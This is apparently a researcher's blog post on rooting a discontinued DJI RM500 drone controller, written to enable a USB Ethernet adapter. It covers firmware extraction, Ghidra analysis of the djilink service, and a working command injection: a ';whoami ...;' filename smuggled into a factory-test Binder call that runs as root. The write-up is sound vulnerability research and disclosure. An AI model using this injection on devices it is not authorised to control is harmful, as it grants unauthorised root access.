This research is about the DJI RM500 Smart Controller. It's the remote sold with with the DJI Mini 2, Mavic Air 2, Mavic 2 Series and Air 2S. It was released in 2019 but is now discontinued and no longer sold or supported by DJI. It received it's latest update in October 2022 and runs Android 7.1.2 (Linux 4.4.83) on a Rockchip RK3399. It can run user supplied apps, and has a USB-A port for external peripherals. It also provides access to ADB to support debugging when developing your own Android apps for the device.
I was asked to look into this device to see if it could support a USB to Ethernet adapter in the USB host port, to improve connection reliability over the built in Wi-Fi. By running ifconfig -a
using ADB shell after plugging in the adapter, we can see the adapter is recognized, but is not brought up by default. Trying to manually bring it up using ifconfig eth0 up
is not allowed due to a lack of permissions for the default ADB shell
user: ifconfig: ioctl 8914: Operation not permitted
. For the adapter to work we need to be able to run commands as root
.
This blog post will be about escalating our privileges from the default ADB shell
user to root
. This requires a physical connection to the remote, and accepting a pop-up on the Android side the first time we try to connect using ADB. I will describe most of the steps I took to find the exploit, some of them not strictly necessary, but they might still be interesting in case you want to perform your own research on DJI equipment.
First I'll look at possible attack surfaces. Then I'll analyze the most promising binary, djilink
, in Ghidra and reverse engineer the communication through Binder. Finally, I'll use a command injection vulnerability to gain root
privileges.
First, we want to identify some possible attack services surfaces. The remote uses Android, so there must be some DJI specific stuff running on top of this to control the drone. I expect an Android app to run the GUI, and some native services to handle the proprietary joysticks/buttons and the radio to connect to the drone.
We will start by looking in userspace, but if no interesting things are found we can also look at some DJI specific kernel drivers to talk to the peripherals such as the radio or joysticks. Those should be provided by the manufacturer due to the GPL license of the Linux kernel. Unfortunately DJI seems to ignore this requirement and only has an outdated Open Source page with broken links. Luckily for this research we didn't need to look at the kernel. We'll look at open ports, running processes and available Binder services.
netstat
)Using netstat -tulpn
we can check for any services that have exposed ports on TCP or UDP. However, this didn't show anything interesting. There are some ports in the 4000X
range, but we can't see what process owns them because we don't have root privileges.
rm500:/ $ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program Name
tcp 0 0 0.0.0.0:40007 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:40008 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:40009 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:40010 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5037 0.0.0.0:* LISTEN 1510/adb
udp 0 0 0.0.0.0:50764 0.0.0.0:* -
ps
)Using ps
we can look at all the running processes on the system. By looking for DJI specific processes we can identify /system/bin/djilink
, /system/bin/dji_wms
as two processes that run as root. We will be taking a closer look at those in the next section.
rm500:/ $ ps | grep -i dji
root 144 2 0 0 0 0000000000 S dji_bat_charge_
root 299 1 63296 11656 0 0000000000 S /system/bin/djilink
root 664 1 9004 1852 0 0000000000 S /system/bin/dji_wms
system 1127 301 1571732 76156 0 0000000000 S com.dji
service
)Binder serves as a mechanism on Android for Inter Process Communication (IPC) and Remote Procedure Calls (RPC). For example, Binder can be used to communicate between apps and native services. Or between a system service with high privileges and a client program with low privileges. It can communicate simple messages, but also more complex objects such as shared memory buffers.
It's a very useful tool when developing complex Android applications. There is a nice command line utility called service
that is used for interacting with Binder from the command line using the ADB shell. Using service list
we can see all DJI specific Binder services that are used. Here we also see djilink
pop up, so we will start by analyzing this service.
rm500:/ $ service list | grep -i dji
0 DJIBaseService: []
1 DJIService: []
83 protocol: [com.dji.protocol.IProtocolManager]
84 report: [com.dji.report.IReportManager]
108 djilink: [djilink]
If we are only interested in a few files such as /system/bin/djilink
we can use adb pull
to grab those files right of the device. But in case we need to widen our search it might be nice to have a full copy of the system. Luckily the update file for the whole OS of the RM500 can be downloaded from DankDroneDownloader.
The extension of the file we just downloaded (V01.01.0072_rm500_dji_system.bin
) is .bin
, but the file
command line utility tells us that it's actually a POSIX tar archive
. We can add the .tar
extension and extract it.
$ tar -xvf V01.01.0072_rm500_dji_system.bin.tar --one-top-level
$ cd V01.01.0072_rm500_dji_system.bin
$ ls -Ggh
total 1.7G
-rw-r--r-- 1 1.7G Nov 4 2022 rm500_0205_v00.00.11.98_20221031.pro.fw.sig
-rw-r--r-- 1 106K Nov 4 2022 rm500_0600_v06.01.02.15_20210312.pro.fw.sig
-rw-r--r-- 1 25M Nov 4 2022 rm500_1301_v04.00.00.15_20210616.pro.fw.sig
-rw-r--r-- 1 22M Nov 4 2022 rm500_1407_v05.01.00.15_20220301.pro.fw.sig
-rw-r--r-- 1 1.8K Nov 4 2022 rm500.cfg.sig
This results in a few files, of which only rm500_0205_v00.00.11.98_20221031.pro.fw.sig
is large enough to contain the root filesystem. If we run binwalk
on this file it tells us that this file contains lots of Zip archive data
starting at byte 480.
$ binwalk rm500_0205_v00.00.11.98_20221031.pro.fw.sig
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
480 0x1E0 Zip archive data, at least v1.0 to extract, name: system.patch.dat
530 0x212 Zip archive data, at least v2.0 to extract, name: META-INF/com/android/metadata
732 0x2DC Zip archive data, at least v2.0 to extract, name: META-INF/com/google/android/update-binary
649999 0x9EB0F Zip archive data, at least v2.0 to extract, name: META-INF/com/google/android/updater-script
650625 0x9ED81 Zip archive data, at least v2.0 to extract, name: boot.img
<snip>
We could try to strip the first 480 bytes, but it seems like unzip
already handles this just fine. If we rename the file to rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip
we can extract it:
$ unzip rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip
Archive: rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip
signed by SignApk
warning [rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip]: 480 extra bytes at beginning or within zipfile
(attempting to process anyway)
extracting: system.patch.dat
inflating: boot.img
inflating: system.new.dat
inflating: system.transfer.list
inflating: trust.img
inflating: uboot.img
<snip>
According to file
, system.new.dat
is an ext4 image, but trying to loopback mount it, doesn't work. It turns out that system.new.dat
is a sparse file, and system.transfer.list
contains instructions on how to reconstruct the original file. We can use sdat2img to build the proper ext4 image. It can be downloaded from GitHub, or simply installed from the Arch AUR. The resulting image be mounted and we can copy out /bin/djilink
to analyze it further.
$ sdat2img system.transfer.list system.new.dat system.img
sdat2img binary - version: 1.2
Android Nougat 7.x / Oreo 8.x detected!
Skipping command erase...
Copying 1024 blocks into position 0...
Copying 683 blocks into position 1024...
Copying 143 blocks into position 1708...
Copying 198 blocks into position 1852...
Copying 639 blocks into position 2050...
<snip>
Done! Output image: /home/willem/Downloads/V01.01.0072_rm500_dji_system.bin/system.img
$ mkdir mnt
$ sudo mount -o loop,ro system.img mnt
In the previous steps we identified the djilink
binary as an interesting target for our analysis, since it runs at root, exposes a Binder service, and might be the source of our mystery TCP ports in the 4000X
range. By unpacking an OS update we extracted the binary to analyze it further in Ghidra. Loading the file into Ghidra is straightforward, and we use the default options and analysis settings.
After loading the binary in Ghidra, we can start looking for some low hanging fruit. We don't have anything specific we are looking for yet, so we can go through some functions that are a likely source of mistakes such as system()
, memcpy()
, strcpy()
etc.
system()
Command InjectionWe start by looking for all uses of the system()
function, which is used to run an external shell command. This an easy way to run an external program, but you have to be very careful when using user provided data to build the command passed to the system()
function. This is similar to needing to sanitize user inputs to prevent SQL injection.
There are 42 places where the system()
function is used, so it took some time to go through them and find a potential command injection. Sometimes it looks like user input is used when building the command, but then it turns out the data is not actually attacker controlled.
In a lot of places the system()
function is used to perform simple file system operations, instead of the proper functions such as rename()
and fprintf()
. This is considered bad practice, therefore this seems promising for finding a potential exploit. An example of improper use of system()
to write a timestamp to a log file:
After sifting through a bunch more of that, I found an interesting function displayed below. This function seems part of a factory testing procedure, and uses tinycap
to make a recording using the microphone and writing the results to a filename that is passed to the function. This filename is used to build the command that is passed to system()
and is not checked for special characters. If we put a ;
in the filename we can inject a second shell command that also gets executed. The proper way to do this would be to use the execve()
function, which has a separate argument for command line flags, which fixes the shell injection.
This function is called by a wrapper function that allows both starting and stopping a capture. Looking at the android_log_print
function calls, the function is probably called setMicStatus
. A pointer to this wrapper function is located in a lookup table at 0x001fe5c8
. In turn, this lookup table is used in functions that have calls to libbinder.so
. So maybe this function is meant to be called using a Binder RPC?
After some more digging on the filesystem I found libdjilink.so
. This seems to be a helper library to easily call functions from djilink
from external programs using Binder. By looking for the string setMicStatus
, I quickly discovered a function called BpLinkService::setMicStatus
that looks a lot like it calls the desired function in djilink
.
It writes 4 integers and 1 string into a parcel, and then calls service 0x406 (1030 in decimal), which matches the arguments to the function in libdjilink
we found earlier. Using the service
command we can quickly verify if our assumptions are right. We can use adb logcat
to keep eye on the logs. When we run service call djilink 1030
we notice a bunch of logs in logcat
, after which djilink
seems to crash and restart. It includes the following interesting bit:
08-06 17:25:40.095 1378 1405 E Parcel : Reading a NULL string not supported here.
08-06 17:25:40.095 1378 1405 D LinkService: factorytest: setMicStatus 0
08-06 17:25:40.095 1378 1405 D utils : factorytest: Stop nProcess 0
From the logs it looks like it tries to read a NULL string. It's outputting the log strings that we found earlier. Maybe it will work if we send the right arguments in the Binder parcel? If we match the code from libdjilink.so
we need to send 4 Int322
s followed by String16
for a filename. I'm not sure which integer stands for which argument, so I set them all to 1 to make sure we start the recording. We can do this with the following command: service call djilink 1030 i32 1 i32 1 i32 1 i32 1 s16 "/sdcard/test.wav"
. This results in the following logcat
output:
08-06 17:29:52.830 1431 1431 D LinkService: factorytest: setMicStatus 1
08-06 17:29:52.830 1431 1431 D utils : factorytest: cmd tinycap /sdcard/test.wav -D 0 -d 0 -i 1 -c 1 -r 48000 -b 16 -t 1
08-06 17:29:53.332 1431 1431 D utils : factorytest: Started record of /sdcard/test.wav nProcess 1469
We can also confirm a 1 second audio file showed up in /sdcard
and is owned by root. Interestingly the file seems to be completely silent, so recording doesn't actually work. However, this means we can successfully call the setMicStatus
function where we freely control the filename of the resulting file.
Now that we can call setMicStatus
using the command line, we can try to exploit the potential command injection. As a reminder, the format string used to build the command is "tinycap %s -D 0 -d 0 -i %d -c %d -r 48000 -b 16 -t %d"
.
Here we freely control the first %s
, where the total command needs to stay under 128 characters. If we set our filename to ";whoami > /sdcard/whoami;"
the total command becomes "tinycap ;whoami > /sdcard/whoami; -D 0 -d 0 -i 1 -c 1 -r 48000 -b 16 -t 1"
after filling in all the placeholders.
We can test this using service call djilink 1030 i32 1 i32 1 i32 2 i32 1 s16 ";whoami > /sdcard/whoami;"
. If we now print the contents of /sdcard/whoami
we can see that our exploit actually works! We can run commands as root.
rm500:/ $ cat /sdcard/whoami
root
In this post, I described the process of finding a privilege escalation to gain root from an ADB shell, by abusing some code that was meant for factory testing the peripherals in the remote. This allowed us to run ifconfig eth0 up
as root and enable the Ethernet adapter, which worked fine after that. Fortunately, we could exploit the vulnerability with command line tools that were already present on the Android device, so we didn't need to fiddle with cross-compiler setups to build a payload.
The exploit itself is has a relatively low impact, since it requires physical access to the device and requires the user to accept a popup when connecting using ADB. Nevertheless, it can be very useful for research purposes in case you want to get root on the RM500 Remote to assist with further research on DJI drones.
The RM500 is no longer sold or supported by DJI, and is therefore considered out of scope on DJI's Bug Bounty Progam. Unfortunately, reporting a vulnerability using DJI's Bug Bounty Program prevents researchers from publishing their work without DJI's approval, and they don't list a security contact to report issues outside of their Bug Bounty Program. Given the low impact of this vulnerability, and the probably numerous vulnerabilities in Android 7 itself, I decided to just publish my research.